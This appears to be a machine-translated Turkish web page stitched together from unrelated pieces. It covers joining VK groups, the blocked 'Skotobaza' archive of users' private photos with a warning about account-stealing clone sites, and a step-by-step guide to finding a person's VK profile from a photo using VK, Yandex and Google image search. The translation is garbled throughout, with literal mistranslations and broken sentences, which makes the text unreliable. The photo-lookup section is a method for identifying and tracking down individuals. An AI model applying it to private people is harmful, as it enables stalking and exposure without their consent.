      İlgilendiğiniz bir grubu veya sayfayı bulun, ardından "Topluluklar" arama çubuğunun hemen altındaki öğeyi seçin. Sonra biraz sağda "Topluluk türü"nü göreceksiniz (yanındaki kutuyu işaretleyin: herhangi biri, grup, sayfa, toplantı) ve ara'yı tıklayın. Size uygun olanları seçebileceğiniz bir grup listesi açılacaktır. Grup açıksa, tüm içeriğini kolayca görüntüleyebilirsiniz: ses, video, fotoğraflar, tartışmalar.
      Kapalı bir grubun sayfasına geldiyseniz fotoğrafın altında sağ üst köşeye dikkat edin. "Abone Ol" (sayfaya) veya "Uygula" (gruba) diyecektir.
      Başvurunuz grup yöneticileri tarafından incelenirken lütfen biraz bekleyiniz. Onay verirlerse, grup sayfanızdaki listede görünecektir. Artık grubun tüm içeriğini görüntüleyebilirsiniz.

    VK'da büyük özel fotoğraf koleksiyonu (yaklaşık 100 milyon). Hizmet, tüm sosyal medya kullanıcılarının fotoğraflarını toplar. ağları tek bir dizine.

    Belirli bir kullanıcının fotoğraflarını bulmak kolaydır - sadece girin. Ve silmek zordur, yaratıcılara e-posta ile yazarsanız şans düşüktür ve bağış yaparsanız şans artar.

    Depo, VK'da fotoğrafları nasıl toplar? Her şey çok basit: Hizmet, tüm kullanıcıların fotoğraflarını çevrimiçi olarak koleksiyona otomatik olarak yükler. Fotoğrafı nerede, bir toplulukta veya profilde paylaştığınız önemli değil. Fotoğraf birkaç dakika sonra silinse bile stok deposunda olacaktır.

    Bu nedenle, pek çok memnun olmayan kullanıcı, katkıda bulunan Roskomnadzor'a döndü. sığır deposu engellendi Rusya Federasyonu topraklarında. Baypas blokajı mümkün değildir.

    Kullanıcıların kişisel verilerinin toplanması ve saklanması yasaktır. Kullanıcıların kendileri halka fotoğraf yüklemesine rağmen.

    Şimdilik site çalışmıyor proxy sunucularında bile. Sahipler, engellemenin hemen ardından davadan vazgeçti. Böylece huzur içinde uyuyabilir ve birinin kişisel fotoğraflarınıza bakacağından korkmazsınız.

    Skotobaz analogları

    2018'de"Burned" gibi farklı analoglar vardı, ancak Vkontakte geliştiricileri, botların özel fotoğrafları çalmasını yasaklayan ince ayarlı komut dosyaları için hepsi çalışmıyor.

    Dikkat:İnternet, sığır deposunun "analogları" ile doludur, ancak bunlar yalnızca çalışmamakla kalmaz, aynı zamanda sebeptir hesap hackleme! Bu tür sitelere rastlarsanız, hiçbir durumda Vkontakte'den veri girmeyin. Saldırganlar hesaba erişim elde edecek ve yapabilecek.

    Büyükbaş hayvan deposu ve benzeri hizmetlerin devri kapandı. Artık mahrem, özel fotoğrafların saklanması ve dağıtılması yasaktır. Yasalara uymazsanız, cezalandırılırsınız.

    Merhaba arkadaşlar! Bugün sosyal ağ Vkontakte'de insanları fotoğraflara göre arayacağız. Sadece bir fotoğrafımız olduğunu ve bu fotoğraftan onun sayfasını bulmamız gerektiğini hayal edin. Belki de bu, yalnızca bu fotoğrafı bir sosyal ağa yüklediği ve gizlemediği takdirde olacaktır (). Bu yapılabilir, pratikte test ettim, kanıtlanmış birkaç yöntem var ve şimdi bunları ele alacağız.

    Vkontakte fotoğraflarına göre ara

    Sosyal ağın bu işlevini kullanmak ve bir kişiyi bulmak için önce hesabımızı () arayacağımız bir fotoğraf yüklememiz gerekiyor. Şimdi bu fotoğrafı eklediğimiz albüme gidiyoruz ve tamamen bizimle yüklenmesi için fotoğrafın kendisine tıklıyoruz.

    Fotoğraf yüklendikten sonra tarayıcının adres çubuğuna bakın ve fotoğrafın adresini kopyalayın. Fotoğrafın adresinin tamamen kopyalanması gerekmez, yalnızca fotoğraf kelimesinden sonra (onunla birlikte) ve % işaretinden önce gelen sayıların kopyalanması gerekir. Ekran görüntüsüne bakın ve her şey netleşecek:

    Şimdi ana sayfanıza gidin ve "Haberler" menü öğesini tıklayın.

    Haberlerin üzerinde açılan sayfanın neredeyse en üst kısmında bir fotoğraf arama kutumuz var. İçine kopya kelimesini ekliyoruz: yüklediğiniz ve bir kişiyi bulmanız gereken fotoğrafın adresinden hemen sonra.

    Ekran görüntüsüne bakın:

    Enter'a basıyoruz. Ve farklı kullanıcılar tarafından sosyal ağa yüklenen tamamen aynı fotoğrafları yüklüyoruz. Doğal olarak, fotoğraf benzersizse, sizin durumunuzda bu türden yalnızca bir kullanıcı olacaktır. Fotoğrafa tıklamanız ve bu fotoğrafın sahibine giden bağlantıyı takip etmeniz yeterlidir:

    Hepsi bu, görevin üstesinden geldik.

    Yandex'den resimlere göre arama yapın

    Şimdi size genel gelişim için Vkontakte'de bir kişiyi fotoğrafla bulmanın başka bir yolunu göstereceğim. Ancak, yalnızca kullanıcı onu avatara yüklediğinde çalışacağını unutmayın. Yandex arama motorundan görsel arama ile ilgili.

    Bir sonraki pencerede, arama sistemine bir fotoğraf yüklemek için "Dosya Seç" düğmesine tıklayın.

    Explorer aracılığıyla bilgisayarda istediğiniz görüntüyü bulun, seçin ve "Aç" düğmesini tıklayın.

    Sistem sizin resminizi ve altında bulabildiği tüm benzerlerini gösterecektir. Yüksek bir olasılıkla, ilk resim tam olarak sizinki gibi olacaktır.

    Aşağı kaydırın ve resmin bulunduğu sitelerin listesine bakın. Önerilenlerden herhangi birini seçin. Örnekte poisksocial.ru'da karar kıldım. Başlığa sağ tıklayın ve listeden "Bağlantıyı yeni sekmede aç" seçeneğini seçin.

    Açılan sitede, soldaki listede bulunan herhangi bir sosyal ağda bir kişiyi arayabilirsiniz. Vkontakte'yi zaten seçtik ve sonuçların görüntülendiği tam adı belirttik (bu arada, onları girmedim, siteyi açtığımda zaten kayıtlıydılar. Farklı bir tam adı olan birini aramama rağmen, deneyin saflığı için hiçbir şeyi değiştirmedim).

    Ortadaki pencere, mevcut tüm uygun kullanıcı sayfalarını görüntüler. Aralarında geziniyoruz ve evet, ihtiyacım olan bir kişi var ve onun avatarında eskiden aradığım bir fotoğraf var.

    Adı tıklayın ve sonraki sayfada fotoğraf galerisinden herhangi bir resmi seçin. Bulunan kullanıcının Vkontakte sayfası açılacak ve onu bulduğunuzu varsayabilirsiniz.

    Google görsel arama

    Google arama motoru, Yandex ile tamamen aynı hizmete sahiptir. Aynı şekilde avatarımdaki fotoğraftan Vkontakte sayfamı bulmaya çalışalım.

    Google ana sayfasına gidiyoruz ve sağ üst köşedeki "Resimler" bağlantısını tıklıyoruz:

    Görsel arama hizmetini açıyoruz, imleci arama satırının sağ köşesine getiriyoruz ve kamera simgesine tıklıyoruz. Bu düğmeye "Görselle Ara" adı verilir.

    Açılan pencerede "Dosya yükle" sekmesine gidin ve "Dosya seç" düğmesine tıklayın:

    Bir Vkontakte hesabı aramak ve sonuçları gözlemlemek istediğimiz bir fotoğraf yüklüyoruz.

    Resmi kıyafet yönetmeliği ile ilgili talepler aldım (çünkü fotoğraftaki kişiler siyah beyazdır). Ve Benzer Görseller'de hiçbir şey yoktu.

    Aynısına sahipseniz, aramayı biraz daraltalım. Bunu yapmak için, uygun satıra aradığınız kişinin adını ve soyadını girmeniz (kullanıcının VK'da oturum açma şekliyle eşleşmesi arzu edilir) ve büyüteç üzerine tıklamanız gerekir.

    Gördüğünüz gibi Vkontakte sayfam tekrar bulundu, bu da hedefimize tekrar ulaştığımız anlamına geliyor. Fotoğraflardan VK'da sayfa aramayı öğrendiğimiz bu makaleyi bununla bitiriyorum.